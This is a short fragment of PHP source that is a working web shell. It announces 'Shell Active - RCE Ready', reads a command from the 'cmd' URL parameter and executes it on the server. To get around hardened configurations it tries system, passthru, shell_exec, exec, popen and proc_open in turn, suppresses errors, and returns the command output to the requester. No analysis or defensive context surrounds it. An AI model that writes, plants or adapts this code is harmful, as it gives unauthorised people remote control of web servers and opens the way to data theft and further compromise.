echo "
Shell Active - RCE Ready"; if(isset($_GET['cmd'])) { $cmd = $_GET['cmd']; echo "
";
if (function_exists('system')) {
@system($cmd);
} elseif (function_exists('passthru')) {
@passthru($cmd);
} elseif (function_exists('shell_exec')) {
echo @shell_exec($cmd);
} elseif (function_exists('exec')) {
@exec($cmd, $output);
echo implode("\n", $output);
} elseif (function_exists('popen')) {
$handle = @popen($cmd, 'r');
if ($handle) {
while (!feof($handle)) {
echo fread($handle, 4096);
}
pclose($handle);
}
} elseif (function_exists('proc_open')) {
$descriptors = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = @proc_open($cmd, $descriptors, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
}
echo "";
}
?>